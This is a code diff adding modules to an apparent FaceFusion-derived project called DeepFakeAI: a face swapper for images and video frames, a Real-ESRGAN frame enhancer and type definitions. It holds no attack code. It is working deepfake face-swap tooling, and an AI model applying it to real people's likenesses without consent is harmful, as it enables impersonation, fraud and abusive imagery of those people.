+		update_status(wording.get('no_source_face_detected') + wording.get('exclamation_mark'), NAME)
+		return False
+	if not is_image(DeepFakeAI.globals.target_path) and not is_video(DeepFakeAI.globals.target_path):
+		update_status(wording.get('select_image_or_video_target') + wording.get('exclamation_mark'), NAME)
+		return False
+	return True
+
+
+def post_process() -> None:
+	clear_frame_processor()
+
+
+def swap_face(source_face : Face, target_face : Face, temp_frame : Frame) -> Frame:
+	return get_frame_processor().get(temp_frame, target_face, source_face, paste_back = True)
+
+
+def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
+	if 'reference' in DeepFakeAI.globals.face_recognition:
+		similar_faces = find_similar_faces(temp_frame, reference_face, DeepFakeAI.globals.reference_face_distance)
+		if similar_faces:
+			for similar_face in similar_faces:
+				temp_frame = swap_face(source_face, similar_face, temp_frame)
+	if 'many' in DeepFakeAI.globals.face_recognition:
+		many_faces = get_many_faces(temp_frame)
+		if many_faces:
+			for target_face in many_faces:
+				temp_frame = swap_face(source_face, target_face, temp_frame)
+	return temp_frame
+
+
+def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
+	source_face = get_one_face(cv2.imread(source_path))
+	reference_face = get_face_reference() if 'reference' in DeepFakeAI.globals.face_recognition else None
+	for temp_frame_path in temp_frame_paths:
+		temp_frame = cv2.imread(temp_frame_path)
+		result_frame = process_frame(source_face, reference_face, temp_frame)
+		cv2.imwrite(temp_frame_path, result_frame)
+		if update:
+			update()
+
+
+def process_image(source_path : str, target_path : str, output_path : str) -> None:
+	source_face = get_one_face(cv2.imread(source_path))
+	target_frame = cv2.imread(target_path)
+	reference_face = get_one_face(target_frame, DeepFakeAI.globals.reference_face_position) if 'reference' in DeepFakeAI.globals.face_recognition else None
+	result_frame = process_frame(source_face, reference_face, target_frame)
+	cv2.imwrite(output_path, result_frame)
+
+
+def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
+	conditional_set_face_reference(temp_frame_paths)
+	frame_processors.process_video(source_path, temp_frame_paths, process_frames)
+
+
+def conditional_set_face_reference(temp_frame_paths : List[str]) -> None:
+	if 'reference' in DeepFakeAI.globals.face_recognition and not get_face_reference():
+		reference_frame = cv2.imread(temp_frame_paths[DeepFakeAI.globals.reference_frame_number])
+		reference_face = get_one_face(reference_frame, DeepFakeAI.globals.reference_face_position)
+		set_face_reference(reference_face)

DeepFakeAI/processors/frame/modules/frame_enhancer.py

@@ -0,0 +1,88 @@
+from typing import Any, List, Callable
+import cv2
+import threading
+from basicsr.archs.rrdbnet_arch import RRDBNet
+from realesrgan import RealESRGANer
+
+import DeepFakeAI.processors.frame.core as frame_processors
+from DeepFakeAI.typing import Frame, Face
+from DeepFakeAI.utilities import conditional_download, resolve_relative_path
+
+FRAME_PROCESSOR = None
+THREAD_SEMAPHORE = threading.Semaphore()
+THREAD_LOCK = threading.Lock()
+NAME = 'FACEFUSION.FRAME_PROCESSOR.FRAME_ENHANCER'
+
+
+def get_frame_processor() -> Any:
+	global FRAME_PROCESSOR
+
+	with THREAD_LOCK:
+		if FRAME_PROCESSOR is None:
+			model_path = resolve_relative_path('../.assets/models/RealESRGAN_x4plus.pth')
+			FRAME_PROCESSOR = RealESRGANer(
+				model_path = model_path,
+				model = RRDBNet(
+					num_in_ch = 3,
+					num_out_ch = 3,
+					num_feat = 64,
+					num_block = 23,
+					num_grow_ch = 32,
+					scale = 4
+				),
+				device = frame_processors.get_device(),
+				tile = 512,
+				tile_pad = 32,
+				pre_pad = 0,
+				scale = 4
+			)
+	return FRAME_PROCESSOR
+
+
+def clear_frame_processor() -> None:
+	global FRAME_PROCESSOR
+
+	FRAME_PROCESSOR = None
+
+
+def pre_check() -> bool:
+	download_directory_path = resolve_relative_path('../.assets/models')
+	conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/RealESRGAN_x4plus.pth'])
+	return True
+
+
+def pre_process() -> bool:
+	return True
+
+
+def post_process() -> None:
+	clear_frame_processor()
+
+
+def enhance_frame(temp_frame : Frame) -> Frame:
+	with THREAD_SEMAPHORE:
+		temp_frame, _ = get_frame_processor().enhance(temp_frame, outscale = 1)
+	return temp_frame
+
+
+def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
+	return enhance_frame(temp_frame)
+
+
+def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
+	for temp_frame_path in temp_frame_paths:
+		temp_frame = cv2.imread(temp_frame_path)
+		result_frame = process_frame(None, None, temp_frame)
+		cv2.imwrite(temp_frame_path, result_frame)
+		if update:
+			update()
+
+
+def process_image(source_path : str, target_path : str, output_path : str) -> None:
+	target_frame = cv2.imread(target_path)
+	result = process_frame(None, None, target_frame)
+	cv2.imwrite(output_path, result)
+
+
+def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
+	frame_processors.process_video(None, temp_frame_paths, process_frames)

DeepFakeAI/typing.py

@@ -0,0 +1,13 @@
+from typing import Any, Literal
+from insightface.app.common import Face
+import numpy
+
+Face = Face
+Frame = numpy.ndarray[Any, Any]
+
+FaceRecognition = Literal[ 'reference', 'many' ]
+FaceAnalyserDirection = Literal[ 'left-right', 'right-left', 'top-bottom', 'bottom-top', 'small-large', 'large-small' ]
+FaceAnalyserAge = Literal[ 'child', 'teen', 'adult', 'senior' ]
+FaceAnalyserGender = Literal[ 'male', 'female' ]
+TempFrameFormat = Literal[ 'jpg', 'png' ]
+OutputVideoEncoder = Literal[ 'libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc' ]